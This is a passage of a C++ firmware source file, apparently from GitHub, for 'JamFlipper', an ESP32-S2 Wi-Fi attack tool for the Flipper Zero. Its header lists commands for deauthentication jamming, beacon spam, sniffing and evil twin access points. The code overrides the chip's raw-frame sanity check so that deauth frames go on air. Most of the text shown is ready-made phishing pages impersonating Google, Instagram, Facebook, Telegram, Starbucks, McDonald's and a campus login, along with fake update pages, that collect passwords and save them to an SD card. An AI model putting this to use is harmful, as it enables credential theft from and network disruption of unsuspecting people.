-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathjam_flipper_esp32.cpp
More file actions
2748 lines (2488 loc) · 124 KB
/
jam_flipper_esp32.cpp
File metadata and controls
2748 lines (2488 loc) · 124 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* ============================================================
* JamFlipper - ESP32-S2 Firmware (Official Wi-Fi Devboard)
*
* PIN EŞLEŞMESİ (Official Flipper Wi-Fi Dev Board):
* Pin 15 (IO18) -> ESP RX (Flipper TX, GPIO pin 13'ten gelen)
* Pin 16 (IO17) -> ESP TX (Flipper RX, GPIO pin 14'e giden)
*
* PROTOKOL (Flipper → ESP):
* CMD:SCAN\n - Tarama başlat
* CMD:STOP\n - Her şeyi durdur
* CMD:WJ,AGR:N,HOP:N\n - WiFi Jam (AGR: 0-2, HOP: 0-2)
* CMD:CJAM,AGR:N,HOP:N,SSID:N,MSG:N,PORTAL:N - Complete Jam
* CMD:BSPAM,TYPE:N\n - Beacon Spam (TYPE: 0=Rndm, 1=Top20, 2=Portal)
* CMD:SNIFF,SSID:x,PASS:x - WiFi Sniff (bağlan + promiscuous → PCAP)
* CMD:TSNIFF,SSID:x,PASS:x,MAC:XX:XX:XX:XX:XX:XX - Targeted Sniff
* CMD:EVILTWIN,SSID:x,CH:N,BSSID:XX:XX:XX:XX:XX:XX,CLONE:N - Evil Twin
* CMD:GLOGIN,SSID:x - Public G-Login beacon portal
* CMD:TGLOGIN,SSID:x,CH:N,BSSID:XX:XX:XX:XX:XX:XX,CLONE:N - Targeted G-Login
* CMD:REBOOT\n - ESP'yi yeniden başlat
*
* PROTOKOL (ESP → Flipper):
* STATUS:BOOT|JamFlipper Ready
* STATUS:SCANNING|Found:N APs
* STATUS:SCAN_DONE|Found N APs
* STATUS:WIFI_JAM|Deauth:N CH:N
* STATUS:BEACON_SPAM|Count:N
* STATUS:SNIFF|Pkts:N CH:N SSID:<ssid>
* STATUS:TARGET_SNIFF|Pkts:N MAC:<mac>
* STATUS:EVIL_TWIN|Deauth:N Portal:N SSID:<ssid>
* STATUS:G_LOGIN|Clients:N SSID:<ssid>
* STATUS:TARGET_GLOGIN|Deauth:N Portal:N SSID:<ssid>
* STATUS:IDLE|Stopped.
* LOG:Found "SSID" on CHN
* LOG:EVILTWIN_PASS|<wifi-password> ← SD karta kaydedilir
* LOG:GLOGIN_DATA|email=...&pass=... ← SD karta kaydedilir
* LOG:Error message
*
* DÜZELTILEN HATALAR (orijinal koddan):
* 1. WiFi.mode(WIFI_STA) yerine WIFI_MODE_STA kullanılıyordu (Arduino API hatası)
* 2. Beacon frame offset 36 yerine 40'tan başlıyor (802.11 Fixed Parameters)
* 3. Jam modunda esp_wifi_set_promiscuous(true) eksikti (raw TX için şart)
* 4. Deauth frame SA alanı sıfır başlıyordu, BSSID ile doldurulmuyor
* 5. esp_wifi_start() çağrısı WiFi.mode()'dan sonra çift başlatıyordu
* 6. Scan + Jam aynı anda yönetilmiyordu (mod geçişleri eksikti)
* 7. Beacon frame random MAC sadece 3 byte üretiyordu (6 byte lazım)
* ============================================================
*/
#include <Arduino.h>
#include <WiFi.h>
#include <WiFiAP.h>
#include <WiFiClient.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <esp_wifi.h>
#include <esp_wifi_types.h>
#include <esp_event.h>
#include <esp_netif.h> // DHCP Option 114 için
#include <lwip/netif.h> // netif_input_fn, struct netif
#include <lwip/pbuf.h> // struct pbuf
#include <lwip/err.h> // err_t, ERR_OK
#include <string.h>
#include "jam_flipper_types.h"
// ─── KRITIK: IEEE 802.11 Raw Frame Sanity Check Bypass ──────
// ESP-IDF Wi-Fi stack'i (libnet80211.a) management frame
// gönderimini sessizce engelliyor. Bu override ile bypass.
// !!! Derleme sırasında -Wl,-zmuldefs linker flag'i GEREKLİ !!!
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
return 0; // Her zaman "geçerli frame" döndür → deauth artık havaya verilecek
}
// ─── Global Değişkenler ───────────────────────────────────────
static AttackMode g_mode = MODE_IDLE;
static bool g_running = false;
static uint8_t g_aggression = 0; // 0=Low(3), 1=Med(8), 2=High(20)
static uint8_t g_hop_speed = 0; // 0=Fast(50ms), 1=Normal(100ms), 2=Slow(200ms)
static uint8_t g_beacon_type = 0; // 0=Random, 1=Top20, 2=Portal
static uint8_t g_scan_type = 0; // 0=Basic, 1=Logged(PCAP)
static APRecord g_aps[MAX_APS];
static int g_ap_count = 0;
static uint32_t g_deauth_count = 0;
static uint32_t g_beacon_count = 0;
static uint8_t g_current_ch = 1;
static uint32_t g_last_hop = 0;
static uint32_t g_last_status = 0;
static char g_cmd_buf[CMD_BUF_SIZE];
static int g_cmd_idx = 0;
// ─── Yeni Mod Değişkenleri ────────────────────────────────────
// Sniff modu
static char g_sniff_ssid[33] = "";
static char g_sniff_pass[64] = "";
static uint8_t g_target_mac[6] = {0}; // Target sniff için MAC filtresi
static bool g_target_mac_active = false;
static uint32_t g_sniff_pkt_count = 0; // Yakalanan toplam paket
static uint32_t g_sniff_sent_count = 0; // UART'a gönderilen paket
static bool g_sniff_connected = false;
static uint32_t g_sniff_last_pcap_ms = 0; // Rate-limiter: son PCAP gönderim
// Evil Twin / G-Login modu
static char g_evil_ssid[33] = "";
static uint8_t g_evil_channel = 6;
static uint8_t g_evil_bssid[6] = {0};
static bool g_clone_mac = false; // true ise hedef AP'nin MAC'i klonlanır
static bool g_ssid_lookalike = false; // true ise SSID'ye '.' eklenir (Lookalike modu)
static uint8_t g_factory_ap_mac[6] = {0}; // Fabrika AP MAC (startup'ta kaydedilir)
// SSID listeleri
static const char* TOP20_SSIDS[] = {
"FREE_WIFI", "Starbucks_WiFi", "iPhone", "Guest_Network",
"NETGEAR_5G", "Airport_WiFi", "McDonalds_Free", "TurkTelekom_WiFi",
"Vodafone_Guest", "Home_Network", "AndroidAP", "TP-LINK_Guest",
"HUAWEI-Guest", "xfinitywifi", "ATT-WIFI", "SBG_Guest",
"BTHub-Guest", "Virgin_Media", "SKY_Guest", "EE-WiFi"
};
#define TOP20_COUNT 20
static const char* PORTAL_MSGS[] = {
"System Update Required", "Free WiFi - Login to Continue",
"Network Maintenance", "Authentication Required",
"Guest Portal", "Click to Connect"
};
#define PORTAL_COUNT 6
// Beacon isim üretici için sayaç
static uint16_t g_beacon_idx = 0;
// ─── Custom SSID Depolama ────────────────────────────────────
static char g_custom_ssids[MAX_CUSTOM_SSIDS][PORTAL_SSID_MAX];
static uint8_t g_custom_ssid_count = 0;
// ─── Captive Portal Değişkenleri ──────────────────────────────
// DNSServer + WebServer kullanımı (Evil Portal standart yaklaşımı)
static DNSServer* g_dns_server = NULL;
static WebServer* g_web_server = NULL;
static bool g_portal_active = false;
static uint8_t g_portal_type = 0; // 0=Update, 1=FreeWiFi, 2=Maint, 3=Auth
static char g_portal_ssid[PORTAL_SSID_MAX] = "Free_WiFi";
static uint32_t g_portal_clients = 0;
static IPAddress g_portal_ip(192, 168, 4, 1);
// ─── Portal HTML Sayfaları (PROGMEM) ─────────────────────────
// Ortak CSS stili (tüm sayfalar için)
static const char PORTAL_CSS[] PROGMEM = R"rawliteral(
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,system-ui,sans-serif;background:#0a0a1a;color:#e0e0e0;min-height:100vh;display:flex;align-items:center;justify-content:center}
.box{background:linear-gradient(135deg,#1a1a3e,#252550);border-radius:16px;padding:32px;max-width:400px;width:90%;box-shadow:0 8px 32px rgba(0,0,0,.5);text-align:center;border:1px solid rgba(100,100,255,.15)}
h1{font-size:22px;margin-bottom:12px}
p{font-size:14px;color:#a0a0c0;margin-bottom:20px}
input{width:100%;padding:12px;border-radius:8px;border:1px solid #333;background:#12122a;color:#fff;font-size:14px;margin-bottom:12px}
btn,.btn{display:block;width:100%;padding:14px;border-radius:8px;border:none;font-size:16px;font-weight:600;cursor:pointer;margin-top:8px}
.btn-p{background:linear-gradient(135deg,#4a6cf7,#6366f1);color:#fff}
.btn-p:hover{opacity:.9}
.bar{height:6px;background:#1a1a3e;border-radius:3px;margin:16px 0;overflow:hidden}
.bar-in{height:100%;background:linear-gradient(90deg,#4a6cf7,#22d3ee);width:0%;border-radius:3px;animation:prog 3s ease forwards}
@keyframes prog{to{width:100%}}
.ico{font-size:48px;margin-bottom:16px}
.warn{color:#f59e0b}
.ok{color:#22d3ee}
.err{color:#ef4444}
small{color:#666;font-size:11px;display:block;margin-top:16px}
</style>
)rawliteral";
// Sayfa 0: System Update Required
static const char PAGE_UPDATE[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>System Update</title>%CSS%</head>
<body><div class="box">
<div class="ico warn">⚠️</div>
<h1>System Update Required</h1>
<p>A critical security update is available for your device. Please enter your WiFi password to continue.</p>
<form action="/login" method="POST">
<input type="password" name="pass" placeholder="WiFi Password" required>
<button class="btn btn-p" type="submit">Update Now</button>
</form>
<div class="bar"><div class="bar-in"></div></div>
<small>Security Update v2.4.1 • Required</small>
</div></body></html>
)rawliteral";
// Sayfa 1: Free WiFi Login (Telefon No + Şifre)
static const char PAGE_FREEWIFI[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Free WiFi</title>%CSS%</head>
<body><div class="box">
<div class="ico ok">📶</div>
<h1>Free WiFi - Connect</h1>
<p>Welcome! Enter your phone number and password to access free internet.</p>
<form action="/login" method="POST">
<input type="tel" name="phone" placeholder="Phone Number" required>
<input type="password" name="pass" placeholder="Password" required>
<button class="btn btn-p" type="submit">Connect to Internet</button>
</form>
<small>By connecting you agree to our Terms of Service</small>
</div></body></html>
)rawliteral";
// Sayfa 2: Network Maintenance (Sadece bilgi mesajı, form YOK)
static const char PAGE_MAINT[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Maintenance</title>%CSS%</head>
<body><div class="box">
<div class="ico warn">🔧</div>
<h1>Network Maintenance</h1>
<p>This network is currently undergoing scheduled maintenance. Service will be restored shortly.</p>
<div class="bar"><div class="bar-in"></div></div>
<p>Please try again later. We apologize for the inconvenience.</p>
<small>Estimated downtime: 2-4 hours</small>
</div></body></html>
)rawliteral";
// Sayfa 3: Login Error (Sadece Şifre)
static const char PAGE_AUTH[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Login Error</title>%CSS%</head>
<body><div class="box">
<div class="ico err">⚠️</div>
<h1>Incorrect Password</h1>
<p>The password you entered is incorrect. Please try again to reconnect to the network.</p>
<form action="/login" method="POST">
<input type="password" name="pass" placeholder="Network Password" required>
<button class="btn btn-p" type="submit">Reconnect</button>
</form>
<small>If you forgot your password, contact your network administrator.</small>
</div></body></html>
)rawliteral";
// Başarılı giriş sonrası sayfa
static const char PAGE_SUCCESS[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Connected</title>%CSS%</head>
<body><div class="box">
<div class="ico ok">✅</div>
<h1>Connected!</h1>
<p>You are now connected to the network. You may close this page.</p>
<div class="bar"><div class="bar-in"></div></div>
<small>Redirecting...</small>
</div></body></html>
)rawliteral";
// Evil Twin: WiFi şifre toplama sayfası
static const char PAGE_EVILTWIN[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Network</title>%CSS%</head>
<body><div class="box">
<div class="ico warn">🔒</div>
<h1>Session Expired</h1>
<p>Your WiFi session has expired. Please re-enter your network password to restore internet access.</p>
<form action="/login" method="POST">
<input type="password" name="pass" placeholder="WiFi Password" required autocomplete="current-password">
<button class="btn btn-p" type="submit">Reconnect</button>
</form>
<small>Secured Network • WPA2</small>
</div></body></html>
)rawliteral";
// Google Login phishing sayfası (tek form: email + şifre)
static const char PAGE_GLOGIN[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Sign in - Google Accounts</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Google Sans',Roboto,Arial,sans-serif;background:#fff;color:#202124;min-height:100vh;display:flex;align-items:center;justify-content:center}
.card{width:100%;max-width:420px;padding:48px 40px 36px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,.15)}
.logo{text-align:center;margin-bottom:20px}
.g{font-size:2rem;font-weight:700;letter-spacing:-1px}
.g .gb{color:#4285F4}.g .go{color:#EA4335}.g .gg{color:#FBBC05}.g .gg2{color:#4285F4}.g .gl{color:#34A853}.g .ge{color:#EA4335}
h1{font-size:24px;font-weight:400;text-align:center;margin-bottom:6px;color:#202124}
.sub{font-size:15px;color:#5f6368;text-align:center;margin-bottom:28px}
.field{width:100%;padding:13px 15px;border:1px solid #dadce0;border-radius:4px;font-size:16px;outline:none;margin-bottom:14px;background:#fff}
.field:focus{border-color:#1a73e8;border-width:2px}
.forgot{font-size:14px;color:#1a73e8;text-decoration:none;display:inline-block;margin-bottom:28px;font-weight:500}
.actions{display:flex;justify-content:space-between;align-items:center}
.create{font-size:14px;color:#1a73e8;font-weight:500;text-decoration:none}
.next{background:#1a73e8;color:#fff;border:none;border-radius:4px;padding:11px 28px;font-size:14px;font-weight:500;cursor:pointer;letter-spacing:.25px}
.next:hover{background:#1765cc;box-shadow:0 1px 3px rgba(0,0,0,.3)}</style></head>
<body><div class="card">
<div class="logo"><div class="g"><span class="gb">G</span><span class="go">o</span><span class="gg">o</span><span class="gg2">g</span><span class="gl">l</span><span class="ge">e</span></div></div>
<h1>Sign in</h1><p class="sub">to continue to Gmail</p>
<form action="/login" method="POST">
<input class="field" type="email" name="email" placeholder="Email or phone" required autocomplete="email">
<input class="field" type="password" name="pass" placeholder="Enter your password" required autocomplete="current-password">
<a href="#" class="forgot">Forgot password?</a>
<div class="actions">
<a href="#" class="create">Create account</a>
<button class="next" type="submit">Next</button>
</div></form></div></body></html>
)rawliteral";
// Instagram Login phishing sayfası
static const char PAGE_IGLOGIN[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Instagram</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#fafafa;display:flex;align-items:center;justify-content:center;min-height:100vh}
.card{background:#fff;border:1px solid #dbdbdb;border-radius:3px;padding:40px;width:350px;text-align:center}
.logo{font-size:2.2rem;font-family:'Billabong',cursive;background:linear-gradient(45deg,#f09433,#e6683c,#dc2743,#cc2366,#bc1888);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:24px;font-weight:700;letter-spacing:-1px}
.field{width:100%;padding:9px 8px;background:#fafafa;border:1px solid #dbdbdb;border-radius:3px;font-size:14px;margin-bottom:8px;outline:none;color:#262626}
.field:focus{border-color:#a8a8a8}
.btn{width:100%;padding:8px;background:linear-gradient(135deg,#833ab4,#fd1d1d,#fcb045);color:#fff;border:none;border-radius:4px;font-size:14px;font-weight:600;cursor:pointer;margin-top:8px}
.divider{display:flex;align-items:center;margin:18px 0}
.divider:before,.divider:after{content:'';flex:1;border-top:1px solid #dbdbdb}
.divider span{padding:0 16px;font-size:13px;color:#8e8e8e;font-weight:600}
small{color:#8e8e8e;font-size:12px;display:block;margin-top:20px}</style></head>
<body><div class="card">
<div class="logo">Instagram</div>
<form action="/login" method="POST">
<input class="field" type="text" name="email" placeholder="Phone number, username or email" required autocomplete="username">
<input class="field" type="password" name="pass" placeholder="Password" required autocomplete="current-password">
<button class="btn" type="submit">Log in</button>
</form>
<div class="divider"><span>OR</span></div>
<small>Don't have an account? <a href="#" style="color:#0095f6;font-weight:600">Sign up</a></small>
</div></body></html>
)rawliteral";
// Facebook Login phishing sayfası
static const char PAGE_FBLOGIN[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Facebook - Log in or sign up</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:Helvetica,Arial,sans-serif;background:#f0f2f5;display:flex;align-items:center;justify-content:center;min-height:100vh}
.wrap{display:flex;flex-direction:column;align-items:center;max-width:400px;width:100%;padding:20px}
.logo{color:#1877f2;font-size:2.8rem;font-weight:900;margin-bottom:8px;letter-spacing:-1px}
.tagline{font-size:1.1rem;color:#1c1e21;margin-bottom:24px;text-align:center}
.card{background:#fff;border-radius:8px;box-shadow:0 2px 4px rgba(0,0,0,.1),0 8px 16px rgba(0,0,0,.1);padding:20px;width:100%}
.field{width:100%;padding:14px 16px;border:1px solid #dddfe2;border-radius:6px;font-size:17px;margin-bottom:12px;outline:none}
.field:focus{border-color:#1877f2;box-shadow:0 0 0 2px rgba(24,119,242,.2)}
.btn{width:100%;padding:14px;background:#1877f2;color:#fff;border:none;border-radius:6px;font-size:20px;font-weight:700;cursor:pointer}
.btn:hover{background:#166fe5}
.divider{border-top:1px solid #dadde1;margin:20px 0}
.create{display:block;text-align:center;background:#42b72a;color:#fff;padding:14px;border-radius:6px;font-size:17px;font-weight:600;text-decoration:none}
.create:hover{background:#36a420}</style></head>
<body><div class="wrap">
<div class="logo">facebook</div>
<p class="tagline">Facebook helps you connect and share with the people in your life.</p>
<div class="card">
<form action="/login" method="POST">
<input class="field" type="email" name="email" placeholder="Email or phone number" required autocomplete="email">
<input class="field" type="password" name="pass" placeholder="Password" required autocomplete="current-password">
<button class="btn" type="submit">Log in</button>
</form>
<div class="divider"></div>
<a href="#" class="create">Create new account</a>
</div></div></body></html>
)rawliteral";
// Telegram Login phishing sayfası
static const char PAGE_TGMLOGIN[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Telegram Web</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,Roboto,sans-serif;background:#17212b;color:#fff;display:flex;align-items:center;justify-content:center;min-height:100vh}
.card{background:#232e3c;border-radius:12px;padding:40px 32px;max-width:380px;width:90%;text-align:center;box-shadow:0 4px 24px rgba(0,0,0,.4)}
.tg-icon{width:80px;height:80px;background:linear-gradient(135deg,#2aabee,#229ed9);border-radius:50%;display:flex;align-items:center;justify-content:center;margin:0 auto 20px;font-size:2rem}
h1{font-size:22px;font-weight:600;margin-bottom:6px}
.sub{font-size:14px;color:#6c7883;margin-bottom:28px}
.field{width:100%;padding:12px 16px;background:#1c2733;border:1px solid #2b5278;border-radius:8px;color:#fff;font-size:15px;margin-bottom:12px;outline:none}
.field:focus{border-color:#2aabee}
.field::placeholder{color:#566778}
.btn{width:100%;padding:13px;background:#2aabee;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer}
.btn:hover{background:#229ed9}
small{color:#566778;font-size:12px;display:block;margin-top:16px}</style></head>
<body><div class="card">
<div class="tg-icon">📨</div>
<h1>Telegram Web</h1>
<p class="sub">Please confirm your phone number to sign in</p>
<form action="/login" method="POST">
<input class="field" type="tel" name="phone" placeholder="Phone Number (+1 123 456 7890)" required>
<input class="field" type="password" name="pass" placeholder="Password (2FA)" autocomplete="current-password">
<button class="btn" type="submit">Next</button>
</form>
<small>By signing in, you agree to Telegram's Terms of Service.</small>
</div></body></html>
)rawliteral";
// Starbucks Free WiFi captive portal
static const char PAGE_STARBUCKS[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Starbucks WiFi</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Lato',Arial,sans-serif;background:#1e3932;color:#fff;display:flex;align-items:center;justify-content:center;min-height:100vh}
.card{background:#fff;border-radius:12px;padding:40px 32px;max-width:380px;width:90%;text-align:center;color:#1e3932;box-shadow:0 8px 32px rgba(0,0,0,.3)}
.logo{font-size:1.6rem;font-weight:900;color:#00704a;margin-bottom:4px;letter-spacing:-0.5px}
.logo span{color:#1e3932}
.subtitle{font-size:13px;color:#56666b;margin-bottom:28px}
.wifi-icon{font-size:3rem;margin-bottom:16px}
h1{font-size:20px;font-weight:700;margin-bottom:8px;color:#1e3932}
.field{width:100%;padding:12px 16px;border:1px solid #d4e9e2;border-radius:6px;font-size:15px;margin-bottom:12px;outline:none;background:#f1f8f6;color:#1e3932}
.field:focus{border-color:#00704a}
.btn{width:100%;padding:13px;background:#00704a;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:700;cursor:pointer}
.btn:hover{background:#005a38}
small{color:#56666b;font-size:11px;display:block;margin-top:16px}</style></head>
<body><div class="card">
<div class="wifi-icon">☕️</div>
<div class="logo">Starbucks <span>WiFi</span></div>
<div class="subtitle">Complimentary in-store WiFi</div>
<h1>Connect to Free WiFi</h1>
<form action="/login" method="POST">
<input class="field" type="email" name="email" placeholder="Email address" required autocomplete="email">
<input class="field" type="tel" name="phone" placeholder="Phone number (optional)">
<button class="btn" type="submit">Connect Free</button>
</form>
<small>By connecting, you agree to the Starbucks Guest WiFi Terms of Use.</small>
</div></body></html>
)rawliteral";
// McDonald's Free WiFi captive portal
static const char PAGE_MCDONALDS[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>McDonald's Free WiFi</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Speedee',Arial,sans-serif;background:#da291c;color:#fff;display:flex;align-items:center;justify-content:center;min-height:100vh}
.card{background:#fff;border-radius:16px;padding:36px 28px;max-width:380px;width:90%;text-align:center;color:#292929;box-shadow:0 8px 32px rgba(0,0,0,.3)}
.m-logo{font-size:3rem;margin-bottom:4px}
.logo-text{font-size:1.1rem;font-weight:700;color:#da291c;margin-bottom:4px}
.subtitle{font-size:13px;color:#6d6d6d;margin-bottom:24px}
h1{font-size:18px;font-weight:700;margin-bottom:16px;color:#292929}
.field{width:100%;padding:12px 16px;border:2px solid #ededed;border-radius:8px;font-size:15px;margin-bottom:12px;outline:none}
.field:focus{border-color:#ffc72c}
.btn{width:100%;padding:14px;background:#ffc72c;color:#292929;border:none;border-radius:8px;font-size:16px;font-weight:900;cursor:pointer}
.btn:hover{background:#ffb700}
small{color:#9e9e9e;font-size:11px;display:block;margin-top:16px}</style></head>
<body><div class="card">
<div class="m-logo">🍔</div>
<div class="logo-text">McDonald's Free WiFi</div>
<div class="subtitle">Connect. Enjoy. Repeat.</div>
<h1>Sign in to Get Online</h1>
<form action="/login" method="POST">
<input class="field" type="email" name="email" placeholder="Email address" required autocomplete="email">
<input class="field" type="tel" name="phone" placeholder="Mobile number" required>
<button class="btn" type="submit">👍 I'm Lovin' It - Connect!</button>
</form>
<small>By connecting you accept our WiFi terms. Free for 1 hour per visit.</small>
</div></body></html>
)rawliteral";
// Generic Public WiFi captive portal
static const char PAGE_PUBLICWIFI[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Free Public WiFi</title>%CSS%</head>
<body><div class="box">
<div class="ico ok">📡</div>
<h1>Free Public Wi-Fi</h1>
<p>Welcome! Create a free account to access high-speed internet. No subscription needed.</p>
<form action="/login" method="POST">
<input type="text" name="name" placeholder="Full Name" required>
<input type="email" name="email" placeholder="Email Address" required>
<input type="tel" name="phone" placeholder="Phone Number">
<button class="btn btn-p" type="submit">Connect to Internet</button>
</form>
<small>Free 2-hour session • Powered by CityNet</small>
</div></body></html>
)rawliteral";
// School / Campus WiFi captive portal
static const char PAGE_SCHOOL[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Campus Network Login</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Segoe UI',Arial,sans-serif;background:#1a237e;color:#fff;display:flex;align-items:center;justify-content:center;min-height:100vh}
.card{background:#fff;border-radius:12px;padding:36px 28px;max-width:380px;width:90%;text-align:center;color:#1a237e;box-shadow:0 8px 32px rgba(0,0,0,.4)}
.uni-icon{font-size:3rem;margin-bottom:8px}
h1{font-size:20px;font-weight:700;margin-bottom:4px}
.sub{font-size:13px;color:#5c6bc0;margin-bottom:24px}
.field{width:100%;padding:12px 16px;border:1px solid #c5cae9;border-radius:6px;font-size:15px;margin-bottom:12px;outline:none;color:#1a237e}
.field:focus{border-color:#3949ab;box-shadow:0 0 0 2px rgba(57,73,171,.15)}
.btn{width:100%;padding:13px;background:#1a237e;color:#fff;border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer}
.btn:hover{background:#283593}
.forgot{display:block;text-align:center;margin-top:12px;color:#3949ab;font-size:13px;text-decoration:none}
small{color:#9e9e9e;font-size:11px;display:block;margin-top:16px}</style></head>
<body><div class="card">
<div class="uni-icon">🏫</div>
<h1>Campus Network</h1>
<p class="sub">Secure Wi-Fi for students and staff</p>
<form action="/login" method="POST">
<input class="field" type="text" name="student_id" placeholder="Student / Staff ID" required autocomplete="username">
<input class="field" type="password" name="pass" placeholder="Password" required autocomplete="current-password">
<button class="btn" type="submit">🔒 Sign in to Network</button>
</form>
<a href="#" class="forgot">Forgot password? Contact IT support</a>
<small>University Campus Network • Authorized users only</small>
</div></body></html>
)rawliteral";
// ─── 802.11 Frame Şablonları ─────────────────────────────────
//
// Deauth ve Disassoc işlemleri send_deauth içinde dinamik olarak oluşturulacak
